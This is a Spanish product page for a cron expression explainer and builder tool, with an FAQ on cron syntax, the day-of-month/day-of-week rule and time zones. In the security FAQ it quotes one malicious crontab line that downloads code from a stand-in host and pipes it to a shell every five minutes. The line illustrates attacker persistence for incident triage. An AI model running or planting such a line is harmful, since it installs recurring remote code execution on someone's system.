Generador de expresiones cron
Pega una expresión cron para leerla en lenguaje claro y ver sus 5 próximas ejecuciones, o constrúyela a partir de plantillas.
Abrir la herramienta →La herramienta interactiva se abre en inglés.
Una herramienta de crontab que funciona de dos formas. En modo explicar pegas cualquier expresión cron de 5 campos, la lees en lenguaje claro («A las 09:00, de lunes a viernes») y ves las 5 próximas ejecuciones en tu propia zona horaria. En modo construir conviertes plantillas (cada minuto, cada hora, a diario a las HH:MM, semanal en un día, mensual en una fecha) en una expresión correcta que puedes copiar. Admite toda la sintaxis estándar: * (todos), , (listas), - (rangos) y / (pasos), y aplica bien la regla de unión entre día del mes y día de la semana que confunde a casi todo el mundo. Todo se calcula en tu dispositivo y no se sube nada, así que es seguro para examinar una línea de crontab copiada de un servidor que estás investigando. Es una herramienta Pro.
- Modo explicar: pega una expresión cron de 5 campos y léela en lenguaje claro.
- Revisa las 5 próximas ejecuciones, mostradas en la zona horaria de tu dispositivo.
- Modo construir: elige una plantilla (cada minuto, cada hora, diaria, semanal o mensual) y copia la expresión.
- Confirma la zona horaria que usa el propio planificador: un crontab de servidor suele ejecutarse en UTC.
Preguntas frecuentes
¿Cuáles son los cinco campos de una expresión cron?
Una expresión cron estándar tiene cinco campos separados por espacios, leídos de izquierda a derecha: minuto (0–59), hora (0–23), día del mes (1–31), mes (1–12) y día de la semana (0–6, donde 0 y 7 significan domingo). Así, «30 2 1 * *» significa en el minuto 30 de la hora 2, es decir a las 02:30, el día 1 de cada mes. Cada campo acepta un asterisco para «todos los valores» y caracteres especiales para algo más concreto. Algunas implementaciones añaden un sexto campo inicial para los segundos o nombres de meses y días como JAN y MON; esta herramienta se centra en la forma numérica habitual de cinco campos que usan crontab, la mayoría de los planificadores y cron-job.org.
¿Qué significan los caracteres especiales * , - y /?
Un asterisco (*) coincide con todos los valores del campo. Una coma forma una lista: «1,15,30» en el campo de minutos significa esos tres minutos. Un guion forma un rango inclusivo: «1-5» en el día de la semana significa de lunes a viernes. Una barra es un paso: «*/15» en minutos significa cada 15 minutos (0, 15, 30, 45), y puedes combinarlo con un rango, como «0-30/10» para 0, 10, 20 y 30. «N/paso» es la abreviatura de «desde N hasta el máximo del campo, avanzando de paso en paso». La herramienta admite los cuatro y valida cada campo contra su rango permitido.
¿Por qué mi tarea cron se ejecuta más de lo que espero? La trampa del día del mes y el día de la semana
Es el error de cron más común. Cuando AMBOS campos, día del mes y día de la semana, están restringidos (ninguno es «*»), cron ejecuta la tarea cuando coincide CUALQUIERA de los dos: se combinan con O, no con Y. Así, «0 0 13 * 5» NO significa «solo el viernes 13»; significa «a medianoche el día 13 de cada mes Y a medianoche cada viernes». Si necesitas un Y de verdad (el 13 solo cuando cae en viernes), cron no puede expresarlo directamente: añades una comprobación de fecha dentro de la propia tarea. Cuando uno de los dos campos de día es «*», la regla vuelve al comportamiento intuitivo. La herramienta aplica la regla de unión al calcular las próximas ejecuciones, así que la vista previa coincide con lo que hará cron de verdad.
¿Cómo se calculan las próximas ejecuciones y en qué zona horaria?
Se calculan por completo en tu navegador avanzando desde el momento actual y probando cada minuto candidato contra los cinco campos (respetando la regla de unión del día del mes y el día de la semana), con un horizonte máximo de cinco años, de modo que una expresión imposible como «0 0 31 2 *» simplemente indica que no hay ejecuciones próximas en lugar de quedarse en un bucle. Las horas se muestran en la zona horaria local de tu dispositivo, indicada sobre la lista. Esto importa porque un crontab en un servidor se ejecuta en la zona horaria del servidor (a menudo UTC): una programación que a ti te parece las 9 de la mañana puede dispararse a otra hora en la máquina, así que confirma siempre la zona horaria que usa el planificador.
¿Por qué alguien de seguridad u operaciones necesita leer la sintaxis cron?
Las tareas programadas son un mecanismo de persistencia favorito de los atacantes: una entrada maliciosa de crontab, un temporizador de systemd o una tarea programada vuelven a ejecutar un payload tras cada reinicio, mucho después de la intrusión inicial. Durante la respuesta a incidentes y el bastionado rutinario leerás líneas como «*/5 * * * * curl http://bad.example/x | sh» y tendrás que saber al instante que descarga y ejecuta código remoto cada cinco minutos. Decodificar una línea de crontab desconocida y prever exactamente cuándo se dispararía es una habilidad básica de triaje. Como la herramienta funciona sin conexión, puedes pegar una línea sacada de un equipo comprometido para entenderla sin enviar nada a ninguna parte.
¿Es gratis?
No, es una herramienta Pro. Con una cuenta gratuita tienes 3 usos de prueba de herramientas Pro en total; después necesitas Pro.